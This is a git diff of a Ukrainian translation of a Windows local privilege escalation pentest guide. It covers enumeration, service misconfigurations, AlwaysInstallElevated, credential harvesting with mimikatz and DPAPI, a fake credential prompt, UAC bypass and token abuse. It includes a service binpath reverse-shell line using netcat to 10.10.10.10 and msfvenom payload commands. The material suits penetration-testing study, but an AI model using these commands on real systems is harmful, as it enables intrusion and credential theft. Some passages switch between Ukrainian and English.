Translated ['windows-hardening/windows-local-privilege-escalation/README

This commit is contained in:
Translator 2024-10-05 13:22:37 +00:00
parent d8935aa511
commit 35dfa4bc5a

View file

@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Контроль безпеки Windows
Є різні речі в Windows, які можуть **перешкоджати вам перераховувати систему**, запускати виконувані файли або навіть **виявляти вашу діяльність**. Вам слід **прочитати** наступну **сторінку** та **перерахувати** всі ці **механізми захисту** **перед початком перерахунку підвищення привілеїв:**
Є різні речі в Windows, які можуть **перешкоджати вам перераховувати систему**, запускати виконувані файли або навіть **виявляти вашу діяльність**. Вам слід **прочитати** наступну **сторінку** та **перерахувати** всі ці **механізми** **захисту** перед початком перерахунку підвищення привілеїв:
{% content-ref url="../authentication-credentials-uac-and-efs/" %}
[authentication-credentials-uac-and-efs](../authentication-credentials-uac-and-efs/)
@ -110,7 +110,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transcript files
Ви можете дізнатися, як це увімкнути, за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
Ви можете дізнатися, як це увімкнути за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -140,7 +140,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Повний запис активності та вмісту виконання скрипта фіксується, забезпечуючи документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -195,11 +195,11 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
>
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу довіри при першому використанні на сертифікаті. Якщо сертифікат, що представляється, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (якщо він буде звільнений).
## KrbRelayUp
В **локальному підвищенні привілеїв** існує вразливість у середовищах **домену** за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
@ -221,7 +221,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт створює попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
```
Write-UserAddMSI
```
@ -262,7 +262,7 @@ Write-UserAddMSI
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
Щоб використати цю вразливість, ви можете використовувати: _exploit/windows/local/always\_install\_elevated_
Щоб експлуатувати цю вразливість, ви можете використовувати: _exploit/windows/local/always\_install\_elevated_
## Антивірус та детектори
@ -295,7 +295,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### Захист LSA
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локальної служби безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково захищаючи систему.\
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\
[**Більше інформації про захист LSA тут**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -349,7 +349,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
{% endcontent-ref %}
### Увійшені користувачі / Сесії
### Увійшли користувачі / Сесії
```bash
qwinsta
klist sessions
@ -367,12 +367,12 @@ net accounts
```bash
powershell -command "Get-Clipboard"
```
## Запущені процеси
## Running Processes
### Дозволи на файли та папки
### File and Folder Permissions
По-перше, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарними файлами для використання можливих [**DLL Hijacking атак**](dll-hijacking/):
По-перше, перерахування процесів **перевіряє наявність паролів всередині командного рядка процесу**.\
Перевірте, чи можете ви **перезаписати деякий виконуваний файл**, або чи маєте ви права на запис у папці з виконуваними файлами, щоб використати можливі [**DLL Hijacking attacks**](dll-hijacking/):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -383,7 +383,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Завжди перевіряйте наявність можливих [**electron/cef/chromium дебаггерів** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Завжди перевіряйте наявність можливих [**electron/cef/chromium дебагерів** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Перевірка дозволів бінарних файлів процесів**
```bash
@ -410,9 +410,9 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
```
### Небезпечні GUI додатки
**Додатки, що працюють під обліковим записом SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.**
**Додатки, що працюють як SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.**
Приклад: "Довідка та підтримка Windows" (Windows + F1), знайдіть "командний рядок", натисніть "Натисніть, щоб відкрити командний рядок"
Приклад: "Довідка та підтримка Windows" (Windows + F1), шукайте "командний рядок", натисніть "Натисніть, щоб відкрити командний рядок"
## Служби
@ -456,7 +456,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
**Ще один обхідний шлях** цієї проблеми - запустити:
**Ще один обхідний шлях** цієї проблеми - виконати:
```
sc.exe config usosvc start= auto
```
@ -470,7 +470,7 @@ sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
```
### Перезапустіть службу
### Перезапустити службу
```bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
@ -487,8 +487,8 @@ net stop [service name] && net start [service name]
### Слабкі дозволи бінарних файлів служб
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи за допомогою **icacls**:
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **дозволи на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи, використовуючи **icacls**:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -518,9 +518,9 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
```bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
### Дозволи AppendData/AddSubdirectory реєстру служб
### Послуги реєстру Дозволи AppendData/AddSubdirectory
Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри з цього**. У випадку служб Windows це **досить для виконання довільного коду:**
Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри з цього**. У випадку з Windows службами це **досить для виконання довільного коду:**
{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %}
[appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md)
@ -537,11 +537,15 @@ C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
Список всіх непозначених шляхів служб, за винятком тих, що належать вбудованим службам Windows:
```bash
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
#Other way
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
```
```powershell
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
@ -549,7 +553,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
)
```
```bash
```powershell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` Ви можете вручну створити бінарний файл служби за допомогою metasploit:
@ -603,7 +607,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Запуск при старті
**Перевірте, чи можете ви перезаписати деякі реєстраційні або бінарні файли, які будуть виконані іншим користувачем.**\
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця авторунів для ескалації привілеїв**:
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця автозапуску для ескалації привілеїв**:
{% content-ref url="privilege-escalation-with-autorun-binaries.md" %}
[privilege-escalation-with-autorun-binaries.md](privilege-escalation-with-autorun-binaries.md)
@ -611,7 +615,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Драйвери
Шукайте можливі **сторонні дивні/вразливі** драйвери
Шукайте можливі **драйвери третіх сторін, які є дивними/вразливими**
```bash
driverquery
driverquery.exe /fo table
@ -736,9 +740,9 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи для значного внеску в ентропію.
**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
**DPAPI дозволяє шифрування ключів через симетричний ключ, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
Зашифровані RSA ключі користувача, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [ідентифікатор безпеки](https://en.wikipedia.org/wiki/Security\_Identifier) користувача. **Ключ DPAPI, розташований разом з майстер-ключем, який захищає приватні ключі користувача в одному файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цього каталогу обмежений, що заважає перерахунку його вмісту за допомогою команди `dir` у CMD, хоча його можна перерахувати через PowerShell).
```powershell
@ -747,7 +751,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
Ви можете використовувати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб розшифрувати його.
**Файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в:
**Файли облікових даних, захищені головним паролем**, зазвичай розташовані в:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -763,7 +767,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
### PowerShell Credentials
**Облікові дані PowerShell** часто використовуються для **скриптів** та автоматизації як спосіб зберігати зашифровані облікові дані зручним чином. Облікові дані захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим же користувачем на тому ж комп'ютері, на якому вони були створені.
**Облікові дані PowerShell** часто використовуються для **скриптів** та автоматизації як спосіб зберігати зашифровані облікові дані зручно. Облікові дані захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим же користувачем на тому ж комп'ютері, на якому вони були створені.
Щоб **розшифрувати** облікові дані PS з файлу, що їх містить, ви можете зробити:
```powershell
@ -787,7 +791,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^|
```
### Збережені RDP з'єднання
Ви можете знайти їх за адресою `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
Ви можете знайти їх у `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
та в `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
### Нещодавно виконані команди
@ -799,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
Використовуйте модуль **Mimikatz** `dpapi::rdg` з відповідним `/masterkey`, щоб **розшифрувати будь-які .rdg файли**\
Використовуйте модуль **Mimikatz** `dpapi::rdg` з відповідним `/masterkey`, щоб **дешифрувати будь-які .rdg файли**\
Ви можете **витягнути багато DPAPI masterkeys** з пам'яті за допомогою модуля Mimikatz `sekurlsa::dpapi`
### Sticky Notes
@ -893,7 +897,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
Перевірте, чи існує `C:\Windows\CCM\SCClient.exe` .\
Інсталятори **виконуються з привілеями SYSTEM**, багато з них вразливі до **DLL Sideloading (Інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
Інсталятори **виконуються з привілеями SYSTEM**, багато з них вразливі до **DLL Sideloading (інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@ -905,7 +909,7 @@ else { Write "Not Installed." }
```bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
```
### Ключі хоста Putty SSH
### Putty SSH Host Keys
```
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
@ -918,7 +922,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract).\
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Якщо служба `ssh-agent` не працює і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
Якщо служба `ssh-agent` не працює, і ви хочете, щоб вона автоматично запускалася під час завантаження, виконайте:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
@ -988,9 +992,9 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Групові політики (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені у вигляді XML-файлів у SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Групові політики (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені як XML файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості безпеки.
Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли:
@ -1062,9 +1066,9 @@ C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
```
### Запитати облікові дані
### Ask for credentials
Ви завжди можете **попросити користувача ввести його облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1149,7 +1153,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### Credentials in the RecycleBin
Вам також слід перевірити Кошик на наявність облікових даних всередині нього
Вам також слід перевірити Кошик на наявність облікових даних.
Щоб **відновити паролі**, збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html)
@ -1167,7 +1171,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### Історія браузерів
Вам слід перевірити бази даних, де зберігаються паролі з **Chrome або Firefox**.\
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, там зберігаються деякі **паролі**.
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, деякі **паролі зберігаються** там.
Інструменти для витягування паролів з браузерів:
@ -1231,7 +1235,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
Уявіть, що **процес, що працює як SYSTEM, відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той же процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковує всі відкриті дескриптори основного процесу**.\
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете отримати **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **впровадити shellcode**.\
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **впровадити shellcode**.\
[Прочитайте цей приклад для отримання додаткової інформації про **те, як виявити та експлуатувати цю вразливість**.](leaked-handle-exploitation.md)\
[Прочитайте цей **інший пост для більш повного пояснення про те, як тестувати та зловживати більш відкритими дескрипторами процесів і потоків, успадкованими з різними рівнями дозволів (не лише з повним доступом)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
@ -1241,15 +1245,15 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Windows надає функцію, звану **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих труб** та **клієнт іменованих труб**.
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **права SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви створили. Інструкції щодо виконання такої атаки можна знайти в [**цьому**](named-pipe-client-impersonation.md) та [**цьому**](./#from-high-integrity-to-system) посиланнях.
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Виявлення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**тут**](named-pipe-client-impersonation.md) та [**тут**](./#from-high-integrity-to-system).
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованих труб за допомогою інструменту, як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованих труб за допомогою інструменту, як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
### **Моніторинг командних рядків для паролів**
Коли ви отримуєте shell як користувач, можуть бути заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності.
Коли ви отримуєте оболонку як користувач, можуть бути заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності.
```powershell
while($true)
{
@ -1259,9 +1263,9 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
## Вкрадення паролів з процесів
## Вкрадання паролів з процесів
## Від користувача з низькими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
## Від низького привілейованого користувача до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
Якщо у вас є доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", з непривабливого користувача.
@ -1289,7 +1293,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки:
Щоб використати цю вразливість, необхідно виконати наступні кроки:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1311,7 +1315,7 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
## Від середнього до високого рівня цілісності / Обхід UAC
Прочитайте це, щоб **дізнатися про рівні цілісності**:
@ -1327,25 +1331,25 @@ https://github.com/jas502n/CVE-2019-1388
## **Від високого рівня цілісності до системи**
### **Новий сервіс**
### **Нова служба**
Якщо ви вже працюєте на процесі з високим рівнем цілісності, **перехід до SYSTEM** може бути простим, просто **створивши та виконуючи новий сервіс**:
Якщо ви вже працюєте на процесі з високим рівнем цілісності, **перехід до SYSTEM** може бути простим, просто **створивши та виконуючи нову службу**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
```
### AlwaysInstallElevated
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
З процесу високої цілісності ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
[Більше інформації про залучені ключі реєстру та як встановити _.msi_ пакет тут.](./#alwaysinstallelevated)
### High + SeImpersonate привілей до System
**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.**
### Від SeDebug + SeImpersonate до повних привілеїв токена
### Від SeDebug + SeImpersonate до повних привілей токена
Якщо у вас є ці привілеї токена (ймовірно, ви знайдете це в уже існуючому процесі з високою цілісністю), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу та створити **процес з цим токеном**.\
Якщо у вас є ці привілеї токена (ймовірно, ви знайдете це в уже існуючому процесі високої цілісності), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу та створити **процес з цим токеном**.\
Використовуючи цю техніку, зазвичай **вибирається будь-який процес, що працює як SYSTEM з усіма привілеями токена** (_так, ви можете знайти процеси SYSTEM без усіх привілеїв токена_).\
**Ви можете знайти** [**приклад коду, що виконує запропоновану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.**
@ -1357,14 +1361,14 @@ sc start newservicename
### Dll Hijacking
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу високої цілісності**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/)**.**
### **Від Administrator або Network Service до System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
### Від LOCAL SERVICE або NETWORK SERVICE до повних привілеїв
